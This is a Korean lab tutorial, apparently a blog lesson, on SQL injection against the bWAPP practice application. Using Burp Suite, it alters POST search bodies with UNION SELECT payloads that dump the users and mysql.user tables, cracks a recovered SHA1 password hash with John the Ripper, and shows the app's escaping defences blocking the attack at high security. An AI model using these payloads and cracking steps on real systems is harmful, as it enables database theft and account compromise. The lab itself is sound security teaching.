정보보안(구버전)/ bWAPP 2019. 1. 30. 11:51

웹 해킹 bWAPP - 11. A1 - Injection - SQL Injection(POST/Search)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

 

 

1. Injection

 

 - OWASP Top10 A1 - 악의적인 명령 삽입
 - 서버로 전송되는 요청 정보에 악의적인 명령을 삽입하여 불필요한 동작을 실시하거나, 서버/시스템/DB 중요 정보를

   획득할 수 있는 취약점이다.
 - Ex) HTML 인젝션, SQL 인젝션, PHP 인젝션, XML 인젝션

 

 

 

2. GET & POST 차이점

 

  - GET 방식 : Header에 정보(변수)를 포함시킴, 그렇기 때문에 주소창(URL)에 서버로 넘어가는 정보가 보임

 

 


  - POST 방식 : Body에 정보(변수)를 포함시킴, 그렇기 때문에 주소창(URL)에 서버로 넘어가는 정보가 안보임

 

 

 

 

3. Injection - SQL Injection(POST/Search)

 

 

Ex1) Injection - SQL Injection(POST/Search) 이해

 

 

보안 레벨 선택 및 시나리오 선택 

 

 


Intercept -> 'Intercept is on' 으로 변경 실시

 

 

'war' 입력 -> 'Search' 버튼 클릭

 

 

 

버프슈트 Intercept 내용 확인

 

 

11-0. Body 내용 변조-1.txt
HTTP Header & Body 내용 확인 및 Body 내용 변경

 POST /bWAPP/sqli_6.php HTTP/1.1

Host: 192.168.20.205

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.20.205/bWAPP/sqli_6.php

Cookie: security_level=0; PHPSESSID=f0331624b7befa68e2df731596575a63

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 23

 

title=war&action=search  <- 기존 Body 내용

 

title=0' union select all 1, concat(id,login),password,email,secret,6,7 from users #&action=search <- 변경 실시

 

 

 

Body 내용 변조 -> 'Intercept is on'을 클릭하여 off 실시

 

 

 

'Intercept is off' 확인

 

 

 

SQL 인젝션을 이용한 bWAPP 데이터베이스의 users 테이블(id,login,password,email...) 내용 확인

 

 

 

11-1. 패스워드 해시값.txt

 

root@kali:~# vi pw.txt

6885858486f31043e5839c735d99457f045affd0

 

:wq! 

 

 

root@kali:~# john --format:raw-sha1 /root/pw.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
bug              (?)
1g 0:00:00:00 DONE 3/3 (2019-01-30 13:24) 2.325g/s 532044p/s 532044c/s 532044C/s 184..bud
Use the "--show" option to display all of the cracked passwords reliably
Session completed

 

 

[참고] 해시값 크랙 사이트

 

크랙스테이션 : https://crackstation.net/

해시킬러 : http://hashkiller.co.uk

 

 

크랙스테이션 사이트

 

 

 

 

Ex2) Injection - SQL Injection(POST/Search) 이해 II

 

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| bWAPP              |
| cisco              |
| drupageddon        |
| mysql              |
+--------------------+
5 rows in set (0.00 sec)

 

mysql> use mysql;
Database changed

 

bWAPP -> mysql 데이터베이스의 테이블 이름 확인


 

11-2. SQL 구문.txt

mysql 데이터베이스의 user 테이블에 host, user, password 내용 확인

 

 

Intercept -> 'Intercept is on' 전환 실시

 

 

'war' 입력 -> 'Search' 버튼 클릭

 

 

 

버프슈트 Intercept 내용 확인

 

 

11-3. Body 내용 변조-2.txt

HTTP Header & Body 내용 확인 및 Body 내용 변경

POST /bWAPP/sqli_6.php HTTP/1.1

Host: 192.168.20.205

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.20.205/bWAPP/sqli_6.php

Cookie: security_level=0; PHPSESSID=adc015223eee0ef7aca6ac449d64901d

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 23

 

title=war&action=search  <- 기존 Body 내용

 

title=0' union select all 1, host,user,password,5,6,7 from mysql.user #&action=search  <- 변경 실시

 

 

 

Body 내용 변조 -> 'Intercept is on'을 클릭하여 off 실시

 

 

 

'Intercept is off' 확인

 

 

 

SQL 인젝션을 이용한 mysql 데이터베이스의 user 테이블(host,user,password) 내용 확인

 

 

 

Ex3) 'sqli_6.php' & 'functions_external.php' 파일 내용 확인

bee@bee-box:/var/www/bWAPP$ ls -l sqli_6.php
-rw-rw-r-- 1 root www-data 7241 2014-11-02 23:52 sqli_6.php

 

bee@bee-box:/var/www/bWAPP$ vi sqli_6.php

~ 중간 생략 ~

 

include("functions_external.php");
include("connect.php");

 

function sqli($data)
{

    switch($_COOKIE["security_level"])
    {

        case "0" :

 

            $data = no_check($data);
            break;

 

        case "1" :

            $data = sqli_check_1($data);
            break;

 

        case "2" :

            $data = sqli_check_2($data);
            break;

 

        default :

            $data = no_check($data);
            break;

    }

    return $data;

}

 

:q! 

 

 

bee@bee-box:/var/www/bWAPP$ gedit functions_external.php

~ 중간 생략 ~

 

function sqli_check_1($data)

{

  

    return addslashes($data);

            // 작은따옴표를 문자열로 이스케이프 실시

}

 

function sqli_check_2($data)

{

  

    return mysql_real_escape_string($data);

            // SQL 인젝션에서 사용하는 특수문자에 백슬래시를 붙여 입력값을 이스케이프 실시

               (NULL, \n, \r, \, ', ", ^Z)

}

 

function sqli_check_3($link, $data)

{

  

    return mysqli_real_escape_string($link, $data);

   

}

 

function sqli_check_4($data)

{

 

    // Not bulletproof

   

    // Replaces a single quote (')

    $input = str_replace("'", "''", $data);

  

    return $input;

   


 

 

Ex4) 보안 레벨 'High' 변경

 

 

보안 레벨 및 시나리오 선택



 

Intercept -> 'Intercept is on' 으로 변경 실시

 

 

'war' 입력 -> 'Search' 버튼 클릭

 

 

 

버프슈트 Intercept 내용 확인

 

 

 

11-4. Body 내용 변조-3.txt

HTTP Header & Body 내용 확인 및 Body 내용 변경

 POST /bWAPP/sqli_6.php HTTP/1.1

Host: 192.168.20.205

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.20.205/bWAPP/sqli_6.php

Cookie: security_level=2; PHPSESSID=adc015223eee0ef7aca6ac449d64901d

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 23

 

title=war&action=search  <- 기존 Body 내용

 

title=0' union select all 1, host,user,password,5,6,7 from mysql.user #&action=search  <- 변경 실시

 

 

 

Body 내용 변조 -> 'Intercept is on'을 클릭하여 off 실시

 

 

 

SQL 인젝션 실패

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)


웹해킹 11. bWAPP Injection - SQL Injection(POST&Search)   https://youtu.be/GN-09BSUqlI

Posted by 김정우 강사(카카오톡 : kim10322)
,


Q